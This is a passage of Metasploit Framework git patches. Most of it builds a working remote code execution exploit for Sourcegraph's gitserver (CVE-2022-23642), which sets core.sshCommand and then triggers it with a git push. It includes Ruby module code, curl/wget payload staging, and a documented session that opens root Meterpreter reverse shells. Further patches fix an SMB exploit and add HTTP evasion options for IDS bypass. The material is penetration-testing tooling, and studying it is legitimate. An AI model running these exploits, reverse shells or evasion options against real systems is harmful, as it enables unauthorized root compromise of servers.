.../exploit/multi/misc/jboss_remoting_unified_invoker_rce.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/multi/misc/jboss_remoting_unified_invoker_rce.md b/documentation/modules/exploit/multi/misc/jboss_remoting_unified_invoker_rce.md index 3daee1710a5b..12614e00bdf9 100644 --- a/documentation/modules/exploit/multi/misc/jboss_remoting_unified_invoker_rce.md +++ b/documentation/modules/exploit/multi/misc/jboss_remoting_unified_invoker_rce.md @@ -8,7 +8,7 @@ EAP/AS Remoting Unified Invoker interface for versions 6.1.0 and prior. ### Setup #### Dockerfile -```dokerfile +```dockerfile FROM jboss/base-jdk:8 # Set the JBOSS_VERSION env variable From 489d5e023d3e70284b76b723b792f0334c5a5956 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 8 Jul 2022 08:42:50 -0500 Subject: [PATCH 53/79] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index d156be511c5a..43c5f14fa40f 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -153161,7 +153161,7 @@ "targets": [ "Automatic" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2022-06-29 19:18:47 +0000", "path": "/modules/exploits/windows/local/run_as.rb", "is_install_path": true, "ref_name": "windows/local/run_as", From 172ee9a73bc44b972360a494697c8f0ea7789a7b Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 8 Jul 2022 09:24:28 -0500 Subject: [PATCH 54/79] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 43c5f14fa40f..a99e9c917093 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -22753,7 +22753,7 @@ ], "targets": null, - "mod_time": "2022-05-24 19:01:36 +0000", + "mod_time": "2022-07-08 09:56:51 +0000", "path": "/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb", "is_install_path": true, "ref_name": "scanner/discovery/ipv6_neighbor", From 27ad62c96421014d0dc42bd6b145269eb09c47c0 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 6 Jul 2022 15:33:09 -0400 Subject: [PATCH 55/79] Add a decent check method --- .../http/sourcegraph_gitserver_sshcmd.md | 87 +++++++++++++++++++ .../http/sourcegraph_gitserver_sshcmd.rb | 36 +++++++- 2 files changed, 119 insertions(+), 4 deletions(-) create mode 100644 documentation/modules/exploit/linux/http/sourcegraph_gitserver_sshcmd.md diff --git a/documentation/modules/exploit/linux/http/sourcegraph_gitserver_sshcmd.md b/documentation/modules/exploit/linux/http/sourcegraph_gitserver_sshcmd.md new file mode 100644 index 000000000000..6b3dc300fcc0 --- /dev/null +++ b/documentation/modules/exploit/linux/http/sourcegraph_gitserver_sshcmd.md @@ -0,0 +1,87 @@ +## Vulnerable Application + + lorem ip sum blah blah + + + + + +## Verification Steps +3. Install the application + 1. Install and run it through docker +``` +docker run \ + --publish 3178:3178 \ + --publish 7080:7080 \ + --publish 127.0.0.1:3370:3370 \ + --rm \ + --volume ~/.sourcegraph/config:/etc/sourcegraph \ + --volume ~/.sourcegraph/data:/var/opt/sourcegraph \ + sourcegraph/server:3.37.0 +``` +2. Configure a cloned repo, use a github access token + + +4. Start msfconsole +5. Do: `use [module path]` +6. Set the options +7. Do: `run` +8. You should get a shell. + +## Options +List each option and how to use it. + +### EXISTING_REPO + +An existing cloned repo on the server. If none is specified, one will be automatically determined. + +## Scenarios + +### SourceGraph v3.37.0 running on Docker + +``` +msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > show options + +Module options (exploit/linux/http/sourcegraph_gitserver_sshcmd): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXISTING_REPO no An existing, cloned repository + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.159.128 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit + RPORT 3178 yes The target port (TCP) + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. + SRVPORT 8080 yes The local port to listen on. + SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + TARGETURI / yes Base path + URIPATH no The URI to use for this exploit (default is random) + VHOST no HTTP server virtual host + + +Payload options (cmd/unix/reverse_bash): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.159.128 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Unix Command + + +msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > exploit + +[*] Started reverse TCP handler on 192.168.159.128:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. +[*] Using automatically identified repository: github.com/zerosteiner/gh-sandbox +[*] Executing Unix Command target + +id +uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) +``` diff --git a/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb b/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb index ab3f8cf05714..0914d49e8981 100644 --- a/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb +++ b/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb @@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking + prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager @@ -16,8 +17,11 @@ def initialize(info = {}) info, 'Name' => '', 'Description' => %q{ + lorem ip sum blah blah }, 'Author' => [ + 'Altelus1', # github PoC + 'Spencer McIntyre' # metasploit module ], 'References' => [ ['CVE', '2022-23642'], @@ -28,7 +32,6 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], - 'Privileged' => true, 'Targets' => [ [ 'Unix Command', @@ -65,6 +68,26 @@ def initialize(info = {}) ]) end + def check + begin + cloned_repos = send_request_list + rescue RuntimeError => e + return CheckCode::Unknown(e.message) + end + + if cloned_repos.empty? + vprint_warning('There must be at least 1 cloned repo to be exploitable.') + return CheckCode::Detected + end + + res = send_request_exec(cloned_repos.sample, ['config', 'core.sshCommand', 'fake']) + if res && res.body =~ /^X-Exec-Exit-Status: 0/ + return CheckCode::Vulnerable('Successfully set core.sshCommand.') + end + + CheckCode::Safe('Failed to set core.sshCommand.') + end + def exploit if datastore['EXISTING_REPO'].blank? existing_repo = send_request_list.sample @@ -73,6 +96,8 @@ def exploit existing_repo = datastore['EXISTING_REPO'] end + # validate that the repo exists, if it was automatically determined ensure at least one is present + print_status("Executing #{target.name} target") case target['Type'] @@ -102,8 +127,8 @@ def send_request_list 'method' => 'GET', 'vars_get' => { 'cloned' => 'true' } }) - fail_with(Failure::Unreachable, 'No server response') unless res - fail_with(Failure::UnexpectedReply, 'Failed to list repositories') unless res.code == 200 && res.get_json_document.is_a?(Array) + fail_with(Failure::Unreachable, 'No server response.') unless res + fail_with(Failure::UnexpectedReply, 'Failed to list repositories.') unless res.code == 200 && res.get_json_document.is_a?(Array) res.get_json_document end @@ -112,11 +137,14 @@ def execute_command(cmd, opts = {}) repo = opts['repo'] vprint_status('Setting the sshCommand') - send_request_exec(repo, ['config', 'core.sshCommand', cmd]) + res = send_request_exec(repo, ['config', 'core.sshCommand', cmd]) + fail_with(Failure::UnexpectedReply, 'The gitserver exec API call failed.') unless res&.code == 200 vprint_status('Setting a fake origin') + # TODO: check if this can be set fewer times origin = Rex::Text.rand_text_alphanumeric(rand(4..11)) send_request_exec(repo, ['remote', 'add', origin, "git@#{Rex::Text.rand_text_alphanumeric(rand(4..11))}:#{Rex::Text.rand_text_alphanumeric(rand(4..11))}.git"]) + fail_with(Failure::UnexpectedReply, 'The gitserver exec API call failed.') unless res&.code == 200 vprint_status('Triggering command using push') send_request_exec(repo, ['push', origin, 'master'], 5) From 9d979fdf4fab095d630efbbb9e33942aa2c9e7d7 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 8 Jul 2022 16:40:20 -0400 Subject: [PATCH 56/79] Finish up the sourcegraph RCE module --- .../http/sourcegraph_gitserver_sshcmd.rb | 68 +++++++++++-------- 1 file changed, 38 insertions(+), 30 deletions(-) diff --git a/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb b/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb index 0914d49e8981..f0c57b571cdf 100644 --- a/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb +++ b/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb @@ -15,9 +15,13 @@ def initialize(info = {}) super( update_info( info, - 'Name' => '', + 'Name' => 'Sourcegraph gitserver sshCommand RCE', 'Description' => %q{ - lorem ip sum blah blah + A vulnerability exists within Sourcegraph's gitserver component that allows a remote attacker to execute + arbitrary OS commands by modifying the core.sshCommand value within the git configuration. This command can + then be triggered on demand by executing a git push operation. The vulnerability was patched by introducing a + feature flag in version 3.37.0. This flag must be enabled for the protections to be in place which filter the + commands that are able to be executed through the git exec REST API. }, 'Author' => [ 'Altelus1', # github PoC @@ -45,12 +49,14 @@ def initialize(info = {}) 'Linux Dropper', { 'Platform' => 'linux', + # when the OS command is executed, it's executed twice which will cause some of the command stagers to + # be corrupt, these two work even for larger payloads because they're downloaded in a single command + 'CmdStagerFlavor' => %w[curl wget], 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper }, ] ], - 'DefaultTarget' => 1, 'DefaultOptions' => { 'RPORT' => 3178 }, @@ -76,12 +82,12 @@ def check end if cloned_repos.empty? - vprint_warning('There must be at least 1 cloned repo to be exploitable.') + vprint_warning('There must be at least 1 cloned git repo to be exploitable.') return CheckCode::Detected end - res = send_request_exec(cloned_repos.sample, ['config', 'core.sshCommand', 'fake']) - if res && res.body =~ /^X-Exec-Exit-Status: 0/ + res = send_request_exec(cloned_repos.sample, ['config', '--default', '', 'core.sshCommand']) + if res && res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/ return CheckCode::Vulnerable('Successfully set core.sshCommand.') end @@ -90,24 +96,36 @@ def check def exploit if datastore['EXISTING_REPO'].blank? - existing_repo = send_request_list.sample - print_status("Using automatically identified repository: #{existing_repo}") + @git_repo = send_request_list.sample + print_status("Using automatically identified repository: #{@git_repo}") else - existing_repo = datastore['EXISTING_REPO'] + @git_repo = datastore['EXISTING_REPO'] end - # validate that the repo exists, if it was automatically determined ensure at least one is present - print_status("Executing #{target.name} target") + @git_origin = Rex::Text.rand_text_alphanumeric(rand(4..11)) + vprint_status("Using #{@git_origin} as a fake git origin") + send_request_exec(@git_repo, ['remote', 'add', @git_origin, "git@#{Rex::Text.rand_text_alphanumeric(rand(4..11))}:#{Rex::Text.rand_text_alphanumeric(rand(4..11))}.git"]) + case target['Type'] when :unix_memory - execute_command(payload.encoded, 'repo' => existing_repo) + execute_command(payload.encoded, 'git_origin' => @git_origin) when :linux_dropper - execute_cmdstager('repo' => existing_repo) + execute_cmdstager('git_origin' => @git_origin) end end + def cleanup + return unless @git_repo && @git_origin + + vprint_status('Cleaning up the git changes...') + # delete the remote that was created + send_request_exec(@git_repo, ['remote', 'remove', @git_origin]) + # unset the core.sshCommand value + send_request_exec(@git_repo, ['config', '--unset', 'core.sshCommand']) + end + def send_request_exec(repo, args, timeout = 20) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'exec'), @@ -128,28 +146,18 @@ def send_request_list 'vars_get' => { 'cloned' => 'true' } }) fail_with(Failure::Unreachable, 'No server response.') unless res - fail_with(Failure::UnexpectedReply, 'Failed to list repositories.') unless res.code == 200 && res.get_json_document.is_a?(Array) + fail_with(Failure::UnexpectedReply, 'The gitserver list API call failed.') unless res.code == 200 && res.get_json_document.is_a?(Array) res.get_json_document end - def execute_command(cmd, opts = {}) - repo = opts['repo'] - - vprint_status('Setting the sshCommand') - res = send_request_exec(repo, ['config', 'core.sshCommand', cmd]) - fail_with(Failure::UnexpectedReply, 'The gitserver exec API call failed.') unless res&.code == 200 - - vprint_status('Setting a fake origin') - # TODO: check if this can be set fewer times - origin = Rex::Text.rand_text_alphanumeric(rand(4..11)) - send_request_exec(repo, ['remote', 'add', origin, "git@#{Rex::Text.rand_text_alphanumeric(rand(4..11))}:#{Rex::Text.rand_text_alphanumeric(rand(4..11))}.git"]) - fail_with(Failure::UnexpectedReply, 'The gitserver exec API call failed.') unless res&.code == 200 - - vprint_status('Triggering command using push') - send_request_exec(repo, ['push', origin, 'master'], 5) + def execute_command(cmd, _opts = {}) + vprint_status("Executing command: #{cmd}") + res = send_request_exec(@git_repo, ['config', 'core.sshCommand', cmd]) + fail_with(Failure::Unreachable, 'No server response.') unless res + fail_with(Failure::UnexpectedReply, 'The gitserver exec API call failed.') unless res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/ - send_request_exec(repo, ['remote', 'remove', origin]) + send_request_exec(@git_repo, ['push', @git_origin, 'master'], 5) end end From 63734832b2ad3c9aa4215ee626f0898b3e0a0559 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 8 Jul 2022 17:15:53 -0400 Subject: [PATCH 57/79] Add sourcegraph RCE module docs --- .../http/sourcegraph_gitserver_sshcmd.md | 140 +++++++++--------- 1 file changed, 74 insertions(+), 66 deletions(-) diff --git a/documentation/modules/exploit/linux/http/sourcegraph_gitserver_sshcmd.md b/documentation/modules/exploit/linux/http/sourcegraph_gitserver_sshcmd.md index 6b3dc300fcc0..629c09fd1a46 100644 --- a/documentation/modules/exploit/linux/http/sourcegraph_gitserver_sshcmd.md +++ b/documentation/modules/exploit/linux/http/sourcegraph_gitserver_sshcmd.md @@ -1,87 +1,95 @@ ## Vulnerable Application - lorem ip sum blah blah - - - +A vulnerability exists within Sourcegraph's gitserver component that allows a remote attacker to execute +arbitrary OS commands by modifying the core.sshCommand value within the git configuration. This command can +then be triggered on demand by executing a git push operation. The vulnerability was patched by introducing a +feature flag in version 3.37.0. This flag must be enabled for the protections to be in place which filter the +commands that are able to be executed through the git exec REST API. +The cloned repositories can be enumerated from the `/list` endpoint using the curl command: +`curl http://$target:3178/list?cloned=true` ## Verification Steps -3. Install the application - 1. Install and run it through docker -``` -docker run \ - --publish 3178:3178 \ - --publish 7080:7080 \ - --publish 127.0.0.1:3370:3370 \ - --rm \ - --volume ~/.sourcegraph/config:/etc/sourcegraph \ - --volume ~/.sourcegraph/data:/var/opt/sourcegraph \ - sourcegraph/server:3.37.0 -``` -2. Configure a cloned repo, use a github access token - - -4. Start msfconsole -5. Do: `use [module path]` -6. Set the options -7. Do: `run` -8. You should get a shell. +Example steps in this format (is also in the PR): + +1. Install the application (see detailed Docker Installation section below) +2. Start msfconsole +3. Do: `use exploits/linux/http/sourcegraph_gitserver_sshcmd` +4. Set the `RHOSTS`, `PAYLOAD` and any payload related options that are necessary +5. Do: `run` + +### Docker Installation +1. Run the following command to start the all-inclusive docker container for Sourcegraph v3.36.3. + + ``` + docker run \ + --publish 3178:3178 \ + --publish 7080:7080 \ + --publish 127.0.0.1:3370:3370 \ + --rm \ + --volume /tmp/sourcegraph/config:/etc/sourcegraph \ + --volume /tmp/sourcegraph/data:/var/opt/sourcegraph \ + sourcegraph/server:3.36.3 + ``` +2. Once the service has started, navigate to the webinterface at http://localhost:7080 +3. When prompted, create an administrator's account +4. At least one git repository must be added, complete the following steps to add one. + 1. Navigate to `Repositories > Managed code hosts` + 2. Select "Generic Git host" + 3. When prompted, use the following example JSON code to clone Metasploit. + + ``` + { + "url": "https://github.com/", + "repos": [ + "rapid7/metasploit-framework.git" + ] + } + ``` ## Options -List each option and how to use it. ### EXISTING_REPO -An existing cloned repo on the server. If none is specified, one will be automatically determined. +An existing, cloned repository. If this value is not set, a random one will be selected from the server. ## Scenarios -### SourceGraph v3.37.0 running on Docker +### Docker v3.36.3 ``` -msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > show options - -Module options (exploit/linux/http/sourcegraph_gitserver_sshcmd): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - EXISTING_REPO no An existing, cloned repository - Proxies no A proxy chain of format type:host:port[,type:host:port][...] - RHOSTS 192.168.159.128 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit - RPORT 3178 yes The target port (TCP) - SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. - SRVPORT 8080 yes The local port to listen on. - SSL false no Negotiate SSL/TLS for outgoing connections - SSLCert no Path to a custom SSL certificate (default is randomly generated) - TARGETURI / yes Base path - URIPATH no The URI to use for this exploit (default is random) - VHOST no HTTP server virtual host - - -Payload options (cmd/unix/reverse_bash): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - LHOST 192.168.159.128 yes The listen address (an interface may be specified) - LPORT 4444 yes The listen port - - -Exploit target: - - Id Name - -- ---- - 0 Unix Command - - +msf6 > use exploit/linux/http/sourcegraph_gitserver_sshcmd +[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp +msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > set RHOSTS 192.168.159.128 +RHOSTS => 192.168.159.128 +msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > set TARGET Unix\ Command +TARGET => Unix Command +msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp +PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp +msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > set LHOST 192.168.250.134 +LHOST => 192.168.250.134 +msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > check +[+] 192.168.159.128:3178 - The target is vulnerable. Successfully set core.sshCommand. msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > exploit -[*] Started reverse TCP handler on 192.168.159.128:4444 +[*] Started reverse TCP handler on 192.168.250.134:4444 [*] Running automatic check ("set AutoCheck false" to disable) -[+] The target is vulnerable. +[+] The target is vulnerable. Successfully set core.sshCommand. [*] Using automatically identified repository: github.com/zerosteiner/gh-sandbox [*] Executing Unix Command target - -id -uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) +[*] Sending stage (40168 bytes) to 172.17.0.2 +[*] Sending stage (40168 bytes) to 172.17.0.2 +[*] Meterpreter session 1 opened (192.168.250.134:4444 -> 172.17.0.2:59116) at 2022-07-08 17:23:15 -0400 +[*] Meterpreter session 2 opened (192.168.250.134:4444 -> 172.17.0.2:59124) at 2022-07-08 17:23:15 -0400 + +meterpreter > +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : caab8e904df4 +OS : Linux 5.17.12-100.fc34.x86_64 #1 SMP PREEMPT Mon May 30 17:47:02 UTC 2022 +Architecture : x64 +System Language : en_US +Meterpreter : python/linux +meterpreter > ``` From 3e66fc8f4edcd3c37662725decc3986dff7b1517 Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Sun, 10 Jul 2022 00:07:26 +0100 Subject: [PATCH 58/79] Fix crash in ms04-007-killbill --- modules/exploits/windows/smb/ms04_007_killbill.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/smb/ms04_007_killbill.rb b/modules/exploits/windows/smb/ms04_007_killbill.rb index 0990dd480bd6..7224718580a4 100644 --- a/modules/exploits/windows/smb/ms04_007_killbill.rb +++ b/modules/exploits/windows/smb/ms04_007_killbill.rb @@ -132,7 +132,7 @@ def exploit def exploit_smb(token) - connect + connect(versions: [1]) client = Rex::Proto::SMB::Client.new(sock) @@ -153,7 +153,7 @@ def exploit_smb(token) end def exploit_http(token) - connect + connect(versions: [1]) req = "GET / HTTP/1.0\r\n" req << "Host: #{ datastore['RHOST']}\r\n" From 39f288bfe313fb221ff5321e94c8bcab08b9ac87 Mon Sep 17 00:00:00 2001 From: bcoles Date: Mon, 11 Jul 2022 01:37:41 +1000 Subject: [PATCH 59/79] Rex::Proto::Http: Add evasion options to shuffle GET / POST parameters --- lib/metasploit/framework/login_scanner/http.rb | 10 ++++++++++ lib/msf/core/exploit/remote/http_client.rb | 6 ++++++ lib/rex/proto/http/client.rb | 2 ++ lib/rex/proto/http/client_request.rb | 6 ++++++ 4 files changed, 24 insertions(+) diff --git a/lib/metasploit/framework/login_scanner/http.rb b/lib/metasploit/framework/login_scanner/http.rb index e64f0f3f84c8..bb404bd58eb6 100644 --- a/lib/metasploit/framework/login_scanner/http.rb +++ b/lib/metasploit/framework/login_scanner/http.rb @@ -117,6 +117,14 @@ class HTTP # @return [Integer] How many fake post variables to insert into the request attr_accessor :evade_pad_post_params_count + # @!attribute evade_shuffle_get_params + # @return [Boolean] Randomize order of GET parameters + attr_accessor :evade_shuffle_get_params + + # @!attribute evade_shuffle_post_params + # @return [Boolean] Randomize order of POST parameters + attr_accessor :evade_shuffle_post_params + # @!attribute evade_uri_fake_end # @return [Boolean] Whether to add a fake end of URI (eg: /%20HTTP/1.0/../../) attr_accessor :evade_uri_fake_end @@ -327,6 +335,8 @@ def configure_http_client(http_client) 'pad_get_params_count' => evade_pad_get_params_count, 'pad_post_params' => evade_pad_post_params, 'pad_post_params_count' => evade_pad_post_params_count, + 'shuffle_get_params' => evade_shuffle_get_params, + 'shuffle_post_params' => evade_shuffle_post_params, 'uri_fake_end' => evade_uri_fake_end, 'uri_fake_params_start' => evade_uri_fake_params_start, 'header_folding' => evade_header_folding, diff --git a/lib/msf/core/exploit/remote/http_client.rb b/lib/msf/core/exploit/remote/http_client.rb index e0fcd14cd553..21080cebe233 100644 --- a/lib/msf/core/exploit/remote/http_client.rb +++ b/lib/msf/core/exploit/remote/http_client.rb @@ -74,6 +74,8 @@ def initialize(info = {}) OptInt.new('HTTP::pad_get_params_count', [false, 'How many fake query string variables to insert into the request', 16]), OptBool.new('HTTP::pad_post_params', [false, 'Insert random, fake post variables into the request', false]), OptInt.new('HTTP::pad_post_params_count', [false, 'How many fake post variables to insert into the request', 16]), + OptBool.new('HTTP::shuffle_get_params', [false, 'Randomize order of GET parameters', false]), + OptBool.new('HTTP::shuffle_post_params', [false, 'Randomize order of POST parameters', false]), OptBool.new('HTTP::uri_fake_end', [false, 'Add a fake end of URI (eg: /%20HTTP/1.0/../../)', false]), OptBool.new('HTTP::uri_fake_params_start', [false, 'Add a fake start of params to the URI (eg: /%3fa=b/../)', false]), OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', false]) @@ -192,6 +194,8 @@ def connect(opts={}) 'pad_get_params_count' => datastore['HTTP::pad_get_params_count'], 'pad_post_params' => datastore['HTTP::pad_post_params'], 'pad_post_params_count' => datastore['HTTP::pad_post_params_count'], + 'shuffle_get_params' => datastore['HTTP::shuffle_get_params'], + 'shuffle_post_params' => datastore['HTTP::shuffle_post_params'], 'uri_fake_end' => datastore['HTTP::uri_fake_end'], 'uri_fake_params_start' => datastore['HTTP::uri_fake_params_start'], 'header_folding' => datastore['HTTP::header_folding'], @@ -293,6 +297,8 @@ def configure_http_login_scanner(conf) evade_pad_get_params_count: datastore['HTTP::pad_get_params_count'], evade_pad_post_params: datastore['HTTP::pad_post_params'], evade_pad_post_params_count: datastore['HTTP::pad_post_params_count'], + evade_shuffle_get_params: datastore['HTTP::shuffle_get_params'], + evade_shuffle_post_params: datastore['HTTP::shuffle_post_params'], evade_uri_fake_end: datastore['HTTP::uri_fake_end'], evade_uri_fake_params_start: datastore['HTTP::uri_fake_params_start'], evade_header_folding: datastore['HTTP::header_folding'], diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 7c71d88af000..321b28f904c7 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -63,6 +63,8 @@ def initialize(host, port = 80, context = {}, ssl = nil, ssl_version = nil, prox 'pad_get_params_count' => 'integer', 'pad_post_params' => 'bool', 'pad_post_params_count' => 'integer', + 'shuffle_get_params' => 'bool', + 'shuffle_post_params' => 'bool', 'uri_fake_end' => 'bool', 'uri_fake_params_start' => 'bool', 'header_folding' => 'bool', diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb index 444952f03392..5c97a1e1a0cc 100644 --- a/lib/rex/proto/http/client_request.rb +++ b/lib/rex/proto/http/client_request.rb @@ -66,6 +66,8 @@ class ClientRequest 'pad_post_params_count' => 8, # integer 'uri_fake_end' => false, # bool 'uri_fake_params_start' => false, # bool + 'shuffle_get_params' => false, # bool + 'shuffle_post_params' => false, # bool 'header_folding' => false, # bool 'chunked_size' => 0, # integer @@ -114,6 +116,8 @@ def to_s(headers_only: false) end end if opts.key?("vars_get") && opts['vars_get'] + opts['vars_get'] = Hash[opts['vars_get'].to_a.shuffle] if (opts['shuffle_get_params']) + opts['vars_get'].each_pair do |var,val| var = var.to_s @@ -139,6 +143,8 @@ def to_s(headers_only: false) end end + opts['vars_post'] = Hash[opts['vars_post'].to_a.shuffle] if (opts['shuffle_post_params']) + opts['vars_post'].each_pair do |var,val| var = var.to_s unless val.is_a?(Array) From 1416b5776d963f21b7b5b45d19f3e961201e0aed Mon Sep 17 00:00:00 2001 From: Metasploit Date: Sun, 10 Jul 2022 23:01:03 -0500 Subject: [PATCH 60/79] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index a99e9c917093..fbbd7b80c48b 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -163083,7 +163083,7 @@ "targets": [ "Windows 2000 SP2-SP4 + Windows XP SP0-SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2022-07-10 00:07:26 +0000", "path": "/modules/exploits/windows/smb/ms04_007_killbill.rb", "is_install_path": true, "ref_name": "windows/smb/ms04_007_killbill", From 48cefee585c8f3d7c630a865141d5aeeeae8e7b8 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 11 Jul 2022 09:09:25 -0400 Subject: [PATCH 61/79] Cleanup the module based on feedback --- .../linux/http/sourcegraph_gitserver_sshcmd.rb | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb b/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb index f0c57b571cdf..bbf50fa78e24 100644 --- a/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb +++ b/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb @@ -104,15 +104,16 @@ def exploit print_status("Executing #{target.name} target") - @git_origin = Rex::Text.rand_text_alphanumeric(rand(4..11)) + @git_origin = Rex::Text.rand_text_alphanumeric(4..11) + git_remote = "git@#{Rex::Text.rand_text_alphanumeric(4..11)}:#{Rex::Text.rand_text_alphanumeric(4..11)}.git" vprint_status("Using #{@git_origin} as a fake git origin") - send_request_exec(@git_repo, ['remote', 'add', @git_origin, "git@#{Rex::Text.rand_text_alphanumeric(rand(4..11))}:#{Rex::Text.rand_text_alphanumeric(rand(4..11))}.git"]) + send_request_exec(@git_repo, ['remote', 'add', @git_origin, git_remote]) case target['Type'] when :unix_memory - execute_command(payload.encoded, 'git_origin' => @git_origin) + execute_command(payload.encoded) when :linux_dropper - execute_cmdstager('git_origin' => @git_origin) + execute_cmdstager end end @@ -124,10 +125,12 @@ def cleanup send_request_exec(@git_repo, ['remote', 'remove', @git_origin]) # unset the core.sshCommand value send_request_exec(@git_repo, ['config', '--unset', 'core.sshCommand']) + ensure + super end def send_request_exec(repo, args, timeout = 20) - res = send_request_cgi({ + send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'exec'), 'method' => 'POST', 'data' => { @@ -135,8 +138,6 @@ def send_request_exec(repo, args, timeout = 20) 'Args' => args }.to_json }, timeout) - - res end def send_request_list From 439606b2ac80cdff0294366adb71e4f02bdfc645 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 11 Jul 2022 09:48:08 -0400 Subject: [PATCH 62/79] Use a more reliable check method The check method will not work regardless of whether or not there is a cloned repository. The response can be analyzed using a random, non-existant repo. --- .../http/sourcegraph_gitserver_sshcmd.rb | 34 +++++++++++-------- 1 file changed, 20 insertions(+), 14 deletions(-) diff --git a/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb b/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb index bbf50fa78e24..dd10511a2299 100644 --- a/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb +++ b/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb @@ -75,28 +75,28 @@ def initialize(info = {}) end def check - begin - cloned_repos = send_request_list - rescue RuntimeError => e - return CheckCode::Unknown(e.message) - end - - if cloned_repos.empty? - vprint_warning('There must be at least 1 cloned git repo to be exploitable.') - return CheckCode::Detected - end + res = send_request_exec(Rex::Text.rand_text_alphanumeric(4..11), ['config', '--default', '', 'core.sshCommand']) + return CheckCode::Unknown unless res - res = send_request_exec(cloned_repos.sample, ['config', '--default', '', 'core.sshCommand']) - if res && res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/ + if res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/ + # this is the response if the target repo does exist, highly unlikely since it's 